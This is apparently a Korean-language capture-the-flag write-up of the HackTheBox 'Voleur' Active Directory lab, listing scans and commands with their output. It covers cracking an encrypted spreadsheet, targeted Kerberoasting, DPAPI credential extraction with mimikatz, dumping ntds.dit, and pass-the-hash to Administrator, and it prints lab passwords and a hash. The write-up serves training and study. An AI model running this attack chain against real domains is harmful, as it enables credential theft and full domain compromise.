As is common in real life Windows pentests,
you will start the Voleur box with credentials for the following account: ryan.naylor / HollowOct31Nyt

INFORMATION GATHERING

PORT SCAN (TCP)

└─# nmap -p- -Pn -sC -sV -n --open 10.129.232.130 -oN 10.129.232.130_TCP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-11 19:59 EST
Nmap scan report for 10.129.232.130
Host is up (0.074s latency).
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-12 09:04:10Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2222/tcp  open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49713/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49714/tcp open  msrpc         Microsoft Windows RPC
49716/tcp open  msrpc         Microsoft Windows RPC
49742/tcp open  msrpc         Microsoft Windows RPC
55784/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-11-12T09:05:02
|_  start_date: N/A
|_clock-skew: 7h59m57s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 405.44 seconds

PORT SCAN (UDP)

└─# nmap -sU -sV -Pn -n --open 10.129.232.130 -oN 10.129.232.130_UDP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-11 19:59 EST
Nmap scan report for 10.129.232.130
Host is up (0.068s latency).
Not shown: 996 open|filtered udp ports (no-response)
PORT    STATE SERVICE      VERSION
53/udp  open  domain       Simple DNS Plus
88/udp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-12 08:59:51Z)
123/udp open  ntp          NTP v3
389/udp open  ldap         Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5117.12 seconds

SMB Enumeration

  • NXC 도구를 통해 SMB 인증을 시도하면 (SMBv1:False) (NTLM:False) 응답이 출력된다.
  • SMB에서는 상황에 따라 NTLM 혹은 커버로스 인증 방식을 사용하는데, SMBv1은 NTLM 기반 인증이 디폴트로 설정되어 있다. 현 상황에서는 NTLM 인증 방식이 비활성화 되어있기 때문에, 커버로스 인증을 통해 서버에 인증을 시도해야 한다. (커버로스 인증은 “-k” 옵션을 사용하면 된다.)
  Voleur nxc smb 10.129.232.130 -u ryan.naylor -p 'HollowOct31Nyt'
SMB         10.129.232.130  445    10.129.232.130   [*]  x64 (name:10.129.232.130) (domain:10.129.232.130) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.129.232.130  445    10.129.232.130   [-] 10.129.232.130\ryan.naylor:HollowOct31Nyt STATUS_NOT_SUPPORTED

  • 커버로스 인증을 시도하면 아래와 같이 “KDC_ERR_WRONG_REALM” 에러가 발생한다.
  • 커버로스 인증 시에는 일반적으로 도메인 이름/FQDN 을 사용해야 한다.
    • (AD/커버로스 환경에서는 FQDN과 DNS SRV를 통해 KDC를 찾고 SPN과 매칭함)
  Voleur nxc smb 10.129.232.130 -u ryan.naylor -p 'HollowOct31Nyt' -k
SMB         10.129.232.130  445    10.129.232.130   [*]  x64 (name:10.129.232.130) (domain:10.129.232.130) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.129.232.130  445    10.129.232.130   [-] 10.129.232.130\ryan.naylor:HollowOct31Nyt KDC_ERR_WRONG_REALM

  • 도메인 컨트롤러의 FQDN으로 대상을 설정하고 다시 SMB 인증을 시도한다.
    • 이번에는 “KRB_AP_ERR_SKEW” 에러 메시지가 발생했다.
    • 이는 클라이언트와 대상 호스트의 시간 차이에 의해 발생하는 오류다.
      • 시간 동기화를 진행해주면 간단히 해결할 수 있다.
  / nxc smb DC.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [-] voleur.htb\ryan.naylor:HollowOct31Nyt KRB_AP_ERR_SKEW

  • 시간 동기화 후 SMB 인증 시 오류가 발생하지 않고 정상적인 응답이 반환된다.
  Voleur ntpdate 10.129.232.130
2025-11-13 04:05:16.745576 (+0900) +1.908952 +/- 0.139027 10.129.232.130 s1 no-leap
CLOCK: time stepped by 1.908952
 
[ . . . ]
 
  / nxc smb DC.voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\ryan.naylor:HollowOct31Nyt

  • 도메인 내 유저 조회 시 아래와 같은 결과가 반환되었다.

  • SMB 쉐어 조회 시 아래와 같은 정보가 조회되었다.
  • 4개의 쉐어에 대하여 읽기(READ) 권한이 존재했다. 유효한 정보가 있는지 확인해보자

➜  Voleur impacket-getTGT voleur.htb/ryan.naylor -dc-ip 10.129.232.130
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Saving ticket in ryan.naylor.ccache
➜  Voleur export KRB5CCNAME=ryan.naylor.ccache

  • TGT(Ticket Granting Ticket)을 이용하여 SMB 쉐어 접근 시도
  Voleur impacket-smbclient voleur.htb/ryan.naylor:HollowOct31Nyt@dc.voleur.htb -k
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
Type help for list of commands
#

  • “help” 명령어를 통해 입력 가능한 커맨드 정보를 확인할 수 있다.

  • IT 쉐어 접근 후 “Access_Revies.xlsx” 파일 (공격자 호스트로) 다운로드

  • 다운로드 엑셀 파일은 “CDFV2 Encrypted” 파일이며, 열람이 불가능했다.

  • 암호화 된 오피스 관련 파일은 “office2john” 도구를 이용하여 크래킹 시도해 볼 수 있다.
  • “Access_Review.xlsx” 파일에 설정된 패스워드는 football1 이었다.

  • “LibreOffice”를 이용해서 이 엑셀 파일을 열고 획득한 패스워드를 입력한다.

  • 엑셀에는 서비스 계정(Service Accounts) 정보가 저장되어 있었다.
    • 활용 가능한 정보
      • (1) svc_ldap / M1XyC9pW7qT5Vn
      • (2) svc_iis / N5pXyW1VqM7CZ8
      • (3) Todd Wolfe / NightT1meP1dg3on14
      • (4) Ryan Nalyor / Pre-Auth disabled (impacket-GetNPUsers …)

  • 획득한 계정의 유효성을 검증한다. (2개 계정 모두 유효했다.)
  / nxc smb DC.voleur.htb -u 'svc_ldap' -p 'M1XyC9pW7qT5Vn' -k
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\svc_ldap:M1XyC9pW7qT5Vn
  / nxc smb DC.voleur.htb -u 'svc_iis' -p 'N5pXyW1VqM7CZ8' -k
SMB         DC.voleur.htb   445    DC               [*]  x64 (name:DC) (domain:voleur.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         DC.voleur.htb   445    DC               [+] voleur.htb\svc_iis:N5pXyW1VqM7CZ8


bloodhound

  • 대상 호스트로의 초기 침투를 위해 블러드하운드를 이용하여 LDAP 정보수집을 진행한다.
  / bloodhound-python -d voleur.htb -u svc_ldap -p 'M1XyC9pW7qT5Vn' -ns 10.129.232.130 -dc dc.voleur.htb -c All --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: voleur.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.voleur.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.voleur.htb
INFO: Found 12 users
INFO: Found 56 groups
INFO: Found 2 gpos
INFO: Found 5 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.voleur.htb
INFO: Done in 00M 45S
INFO: Compressing output into 20251113052510_bloodhound.zip

  • 먼저, 이전 포트스캔 과정에서 5985 (WinRM) 포트가 개방되어 있었다.
  • 원격 접속이 가능한 계정은 “JEREMY.COMBS”, “SVC_WINRM” 2개 계정이었다.

  • “SVC_LDAP” 계정은 “SVC_WINRM” 계정에 대해 WriteSPN 권한이 존재했다.
  • 이를 이용하면, SVC_WINRM 계정의 패스워드 해시 값을 추출할 수 있다.
    • (해시 크래킹에 성공하면 평문 패스워드도 획득 가능하다.)

  • “WriteSPN” 권한을 이용하여 svc_winrm 계정의 “servicePrincipalName” 값을 설정한다.
(bloodyAD)   bloodyAD bloodyAD --host dc.voleur.htb -d voleur.htb -k set object svc_winrm servicePrincipalName -v 'exp/svc_winrm'
[+] svc_winrm's servicePrincipalName has been updated

  • 이후, 커버로스팅 가능한 계정을 조회하면 “svc_winrm” 계정이 조회된다.
  • 해당 계정의 TGS 해시를 요청하면, 아래와 같이 해시 값이 반환된다.

  • 패스워드 크래킹 후 평문 패스워드(AFireInsidedeOzarctica980219afi)를 추출하는데 성공했다.

  • NXC 도구를 통해 svc_winrm 계정 패스워드 유효성을 확인했다.
(bloodyAD)   bloodyAD nxc ldap DC.voleur.htb -u 'svc_winrm' -p 'AFireInsidedeOzarctica980219afi' -k
LDAP        DC.voleur.htb   389    DC               [*] None (name:DC) (domain:voleur.htb)
LDAP        DC.voleur.htb   389    DC               [+] voleur.htb\svc_winrm:AFireInsidedeOzarctica980219afi

Initial Access

  • 이후 evil-winrm 을 통해 대상 호스트로의 초기 침투를 시도했으나 실패했다.
  • 실패 이유는 대상 호스트에서 NTLM 인증이 허용되지 않았기 때문에 발생한 문제다.
  • 따라서, 커버로스 인증을 통해 evil-winrm 접속을 시도해야 한다.

  • 커버로스 인증을 통해 evil-winrm 으로 접속을 하기 위해서는, /etc/krb5.conf 파일을 설정해줘야 한다.
  • “krb5.conf” 파일은 NXC 도구의 “—generate-krb5-file” 옵션을 통해 쉽게 생성 가능하다.

  • “krb5.conf” 파일을 생성하면 “libdefaults, realms, domain_relam” 값이 자동으로 설정된다.

  • “evil-winrm” 접속 시 커버로스 인증을 사용하여 접속하기 위해, svc_winrm의 TGT를 발급한다.
  • 그리고, KRB5CCNAME 이름의 환경변수에 저장한다.

  • 커버로스 인증을 통해 접속하기 위해서는 “-r, -i” 옵션을 사용해줘야 한다.
  • 아래와 같이 옵션을 설정하여 DC로의 초기 침투에 성공한 후 플래그를 확인했다.

Internal Reconnaissance

  • svc_winrm 계정으로 침투 호스트 정보수집을 진행하였으나, 권한상승 포인트는 발견하지 못했다.

  • 블러드하운드 정보를 확인해보면, svc_ldap 계정은 “Restore Users” 그룹의 멤버였다.
  • 그룹 이름으로부터 무언가 복구할 수 있는 기능을 가진 그룹인 것을 유추할 수 있었다. (계정 복구 등)

*Evil-WinRM* PS C:\Users\svc_winrm\Documents> Get-ADOptionalFeature -Identity 'Recycle Bin Feature'
 
 
DistinguishedName  : CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=voleur,DC=htb
EnabledScopes      : {CN=Partitions,CN=Configuration,DC=voleur,DC=htb, CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=voleur,DC=htb}
FeatureGUID        : 766ddcd8-acd0-445e-f3b9-a7f9b6744f2a
FeatureScope       : {ForestOrConfigurationSet}
IsDisableable      : False
Name               : Recycle Bin Feature
ObjectClass        : msDS-OptionalFeature
ObjectGUID         : ba06e572-1681-46f7-84d2-e08b001f5c51
RequiredDomainMode :
RequiredForestMode : Windows2008R2Forest

  • 이후 AD 휴지통에 저장된 계정을 조회하였으나 아무런 정보도 조회되지 않았다.
  • 이는 현재 접속한 계정이 svc_winrm으로, “Restore Users” 그룹에 속하지 않았기 때문일 수 있다.

  • 현재 “svc_ldap” 계정은 원격 접속이 불가하므로, 침투 호스트에서 자체적으로 계정 전환을 해야한다.
  • RDP, WinRM 그룹에 속하지는 않았지만, 계정정보를 알고 있으므로 RunasCS.exe를 사용해볼 수 있다.
    • (공격자 > 대상 호스트로 실행 파일 업로드)
*Evil-WinRM* PS C:\Users\svc_winrm\Desktop> upload ../../../../../root/tools/RunasCs.exe
 
Info: Uploading /root/opt/targetedKerberoast/../../../../../root/tools/RunasCs.exe to C:\Users\svc_winrm\Desktop\RunasCs.exe
 
Data: 68948 bytes of 68948 bytes copied
 
Info: Upload successful!

  • 아래 과정을 통해 svc_ldap 계정으로 전환에 성공했다.

  • 이후 삭제된 객체의 정보를 조회하는 cmdlet 명령을 실행하여 내용을 확인한다.
    • (sAMAccountName : todd.wolfe)
C:\Windows\system32>powershell -c "Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *"
powershell -c "Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *"
 
 
CanonicalName                   : voleur.htb/Deleted Objects
CN                              : Deleted Objects
Created                         : 1/29/2025 12:42:27 AM
createTimeStamp                 : 1/29/2025 12:42:27 AM
Deleted                         : True
Description                     : Default container for deleted objects
DisplayName                     :
DistinguishedName               : CN=Deleted Objects,DC=voleur,DC=htb
dSCorePropagationData           : {12/31/1600 4:00:00 PM}
instanceType                    : 4
isCriticalSystemObject          : True
isDeleted                       : True
LastKnownParent                 :
Modified                        : 1/29/2025 4:44:42 AM
modifyTimeStamp                 : 1/29/2025 4:44:42 AM
Name                            : Deleted Objects
ObjectCategory                  : CN=Container,CN=Schema,CN=Configuration,DC=voleur,DC=htb
ObjectClass                     : container
ObjectGUID                      : 587cd8b4-6f6a-46d9-8bd4-8fb31d2e18d8
ProtectedFromAccidentalDeletion :
sDRightsEffective               : 0
showInAdvancedViewOnly          : True
systemFlags                     : -1946157056
uSNChanged                      : 13005
uSNCreated                      : 5659
whenChanged                     : 1/29/2025 4:44:42 AM
whenCreated                     : 1/29/2025 12:42:27 AM
 
accountExpires                  : 9223372036854775807
badPasswordTime                 : 0
badPwdCount                     : 0
CanonicalName                   : voleur.htb/Deleted Objects/Todd Wolfe
                                  DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
CN                              : Todd Wolfe
                                  DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
codePage                        : 0
countryCode                     : 0
Created                         : 1/29/2025 1:08:06 AM
createTimeStamp                 : 1/29/2025 1:08:06 AM
Deleted                         : True
Description                     : Second-Line Support Technician
DisplayName                     : Todd Wolfe
DistinguishedName               : CN=Todd Wolfe\0ADEL:1c6b1deb-c372-4cbb-87b1-15031de169db,CN=Deleted
                                  Objects,DC=voleur,DC=htb
dSCorePropagationData           : {5/13/2025 4:11:10 PM, 1/29/2025 4:52:29 AM, 1/29/2025 4:49:29 AM, 1/29/2025 1:08:06
                                  AM...}
givenName                       : Todd
instanceType                    : 4
isDeleted                       : True
LastKnownParent                 : OU=Second-Line Support Technicians,DC=voleur,DC=htb
lastLogoff                      : 0
lastLogon                       : 133826301603754403
lastLogonTimestamp              : 133826287869758230
logonCount                      : 3
memberOf                        : {CN=Second-Line Technicians,DC=voleur,DC=htb, CN=Remote Management
                                  Users,CN=Builtin,DC=voleur,DC=htb}
Modified                        : 5/13/2025 4:11:17 PM
modifyTimeStamp                 : 5/13/2025 4:11:17 PM
msDS-LastKnownRDN               : Todd Wolfe
Name                            : Todd Wolfe
                                  DEL:1c6b1deb-c372-4cbb-87b1-15031de169db
nTSecurityDescriptor            : System.DirectoryServices.ActiveDirectorySecurity
ObjectCategory                  :
ObjectClass                     : user
ObjectGUID                      : 1c6b1deb-c372-4cbb-87b1-15031de169db
objectSid                       : S-1-5-21-3927696377-1337352550-2781715495-1110
primaryGroupID                  : 513
ProtectedFromAccidentalDeletion : False
pwdLastSet                      : 133826280731790960
sAMAccountName                  : todd.wolfe
sDRightsEffective               : 0
sn                              : Wolfe
userAccountControl              : 66048
userPrincipalName               : todd.wolfe@voleur.htb
uSNChanged                      : 45088
uSNCreated                      : 12863
whenChanged                     : 5/13/2025 4:11:17 PM
whenCreated                     : 1/29/2025 1:08:06 AM


  • “todd.wolfe” 계정의 패스워드는 정보수집 과정에서 확인할 수 있었다.
    • 초기 패스워드는 “NightT1meP1dg3on14” 다.

  • 계정 유효성도 아래와 같이 확인됐다. (todd.wolfe / NightT1meP1dg3on14)

  • todd.wolfe 계정의 정보를 수집하기 위해, TGT 신규 발급을 진행했다.
  • todd.wolfe 계정은 “Remote Management Users”, “Second-Line technicians” 그룹의 멤버였다.
?➜  bloodyAD impacket-getTGT voleur.htb/todd.wolfe:NightT1meP1dg3on14
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in todd.wolfe.ccache
  bloodyAD export KRB5CCNAME=todd.wolfe.ccache


  • todd.wolfe 계정으로는 IT 쉐어의 Second-Line Support 폴더 접근이 가능했다.
  • 그러나, 해당 폴더에서 유효한 정보는 발견하지 못했다.

  • 원활한 정보 수집을 위해 RunasCs.exe 실행파일을 이용하여 원격 쉘 획득을 진행한다.

  • “Credentials Manager” 계정정보가 저장되는 대표적인 경로에 대해 정보가 있는지 전수 조사를 진행하였다.
gci -force C:\Users\todd.wolfe\AppData\Local\Microsoft\Vault; gci -force C:\Users\todd.wolfe\AppData\Local\Microsoft\Credentials; gci -force C:\Users\todd.wolfe\AppData\Local\Microsoft\Protect; gci -force C:\Users\todd.wolfe\AppData\Roaming\Microsoft\Vault; gci -force C:\Users\todd.wolfe\AppData\Roaming\Microsoft\Credentials; gci -force C:\Users\todd.wolfe\AppData\Roaming\Microsoft\Protect


  • “C:\Users\todd.wolfe\AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110”
    • 위 경로에서 조회되는 마스터키는 없었다.

  • “C:\IT\Second-Line Support\Archived Users\todd.wolfe”
    • 위 경로에서 다시 저장된 계정정보가 있는지 조회한다.

  • “IT” 쉐어의 “Second-Line Support” 폴더 내부에서 DPAPI 마스터키가 확인됐다.

DPAPI Abuse - Extract Credentials

(1) Decrypt Masterkey with mimikatz

  • 먼저, 계정 추출을 위해 마스터키 복호화를 진행한다. (미미카츠 /rpc 옵션 활용)
  • (key) d2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
PS C:\programdata> .\mimikatz.exe
mimikatz # dpapi::masterkey /in:"C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Protect\S-1-5-21-3927696377-1337352550-2781715495-1110\08949382-134f-4c63-b93c-ce52efc0aa88" /rpc
[ . . . ]
 
[DC] 'voleur.htb' will be the domain
[DC] 'DC.voleur.htb' will be the DC server
  key : d2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
  sha1: 7417f03ca0d4d557935d96b3f1341bdbbcdbd907


(2) Extract Credentials (with 복호화 된 마스터 키)

  • mimikatz 를 통해 복호화 된 마스터 키로 저장된 계정 정보를 추출하는데 성공했다.
    • “jeremy.combs / qT3V9pLXyN7W4m”
mimikatz # dpapi::cred /in:"C:\IT\Second-Line Support\Archived Users\todd.wolfe\AppData\Roaming\Microsoft\Credentials\772275FAD58525253490A9B0039791D3 /masterkey:d2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10
c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83"
 
[ . . . ]
 
UserName       : jeremy.combs
  CredentialBlob : qT3V9pLXyN7W4m


  • “RunasCs.exe”를 이용하여 획득한 계정(jeremy.combs) 쉘 획득에 성공했다.

  • “jeremy.combs” 계정의 권한을 살펴보면, IT 쉐어의 “Third-Line Support” 폴더에 접근 권한이 있다.

  • “Third-Line Support” 폴더 내부에는 아래 2개 파일이 존재했다.
    • SSH 개인키 파일을 획득했으므로, 이를 활용한 SSH 접속이 가능한지 확인해야 한다.

  • 우리는 이전 포트스캔 과정에서 2222번 포트가 개방되어 있음을 확인했다.
  • 또한, NXC 도구를 통해 도메인 유저 정보를 수집한 상태다.
  Voleur cat ldap_users
Administrator
Guest
krbtgt
ryan.naylor
marie.bryant
lacey.miller
svc_ldap
svc_backup
svc_iis
jeremy.combs
todd.wolfe
svc_winrm

  • 획득한 개인키 파일, 도메인 유저 정보를 활용하여 2222번 포트로 SSH 접속을 시도한다.
  • 도메인 내 존재하는 모든 계정에 대해 SSH 접속을 시도한 결과, svc_backup 접속이 가능했다.

  • svc_backup 계정은 모든 명령어를 시스템 권한으로 실행 가능했다.
  • sudo 명령어를 이용하여 루트 계정으로 권한 상승에 성공했다.

  • 루트 계정으로 권한 상승 후 플래그를 확인해봤으나, 발견되지 않았다.
root@DC:/mnt# cd /root
root@DC:~# ls
root@DC:~# ls -alh
total 4.0K
drwx------ 1 root root 4.0K Nov 12 15:48 .
drwxr-xr-x 1 root root 4.0K Jan 30  2025 ..
-rw------- 1 root root  365 Nov 12 15:53 .bash_history
-rw-r--r-- 1 root root 3.1K Dec  5  2019 .bashrc
drwxr-xr-x 1 root root 4.0K Jan 30  2025 .local
-rw-r--r-- 1 root root  161 Dec  5  2019 .profile

  • 정보수집 과정에서 마운트 된 폴더가 발견되었다.
  • 추가로, 해당 폴더에서는 ntds.dit 파일과 레지스트리(SECURITY, SYSTEM) 파일이 발견됐다.
root@DC:/mnt/c/IT/Third-Line Support/Backups/Active Directory# ls -alh
total 25M
drwxrwxrwx 1 svc_backup svc_backup 4.0K Jan 30  2025 .
drwxrwxrwx 1 svc_backup svc_backup 4.0K Jan 30  2025 ..
-rwxrwxrwx 1 svc_backup svc_backup  24M Jan 30  2025 ntds.dit
-rwxrwxrwx 1 svc_backup svc_backup  16K Jan 30  2025 ntds.jfm
 
[ . . . ]
 
root@DC:/mnt/c/IT/Third-Line Support/Backups/registry# ls -alh
total 18M
drwxrwxrwx 1 svc_backup svc_backup 4.0K Jan 30  2025 .
drwxrwxrwx 1 svc_backup svc_backup 4.0K Jan 30  2025 ..
-rwxrwxrwx 1 svc_backup svc_backup  32K Jan 30  2025 SECURITY
-rwxrwxrwx 1 svc_backup svc_backup  18M Jan 30  2025 SYSTEM

Extract Credentials (impacket-secretsdump)

  • ntds.dit 파일을 공격자 호스트로 옮긴 후, 계정 정보 추출을 진행한다.
➜  Voleur scp -i id_rsa -P 2222 svc_backup@10.129.232.130:"/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit" .
ntds.dit                                                                                                                                                                                                                  100%   24MB   2.8MB/s   00:08
➜  Voleur scp -i id_rsa -P 2222 svc_backup@10.129.232.130:"/mnt/c/IT/Third-Line Support/Backups/registry/SECURITY" .
SECURITY                                                                                                                                                                                                                  100%   32KB  49.4KB/s   00:00
➜  Voleur scp -i id_rsa -P 2222 svc_backup@10.129.232.130:"/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM" .
SYSTEM

[ . . . ]

➜  Voleur ls -alh
[ . . . ]
-rwxrwxr-x  1 root root  24M Nov 13 08:55 ntds.dit
-rwxrwxr-x  1 root root  32K Nov 13 08:58 SECURITY
-rwxrwxr-x  1 root root  18M Nov 13 08:59 SYSTEM

  • “Administrator” 계정의 NT 해시 값 추출에 성공했다.


  • “administator” 계정의 TGT를 발급한 후 환경변수(KRB5CCNAME)에 등록한다.
  Voleur rdate -n 10.129.232.130
Thu Nov 13 09:11:46 KST 2025
  Voleur impacket-getTGT voleur.htb/Administrator -hashes aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Saving ticket in Administrator.ccache
  Voleur export KRB5CCNAME=Administrator.ccach

Privilege Escalation

  • Administrator 계정으로 접속 후 루트 플래그를 확인했다.


Reference

  1. https://learn.microsoft.com/en-us/powershell/module/activedirectory/get-adoptionalfeature?view=windowsserver2025-ps
  2. https://learn.microsoft.com/en-us/powershell/module/activedirectory/restore-adobject?view=windowsserver2025-ps
  3. https://github.com/antonioCoco/RunasCs
  4. https://hbase.tistory.com/9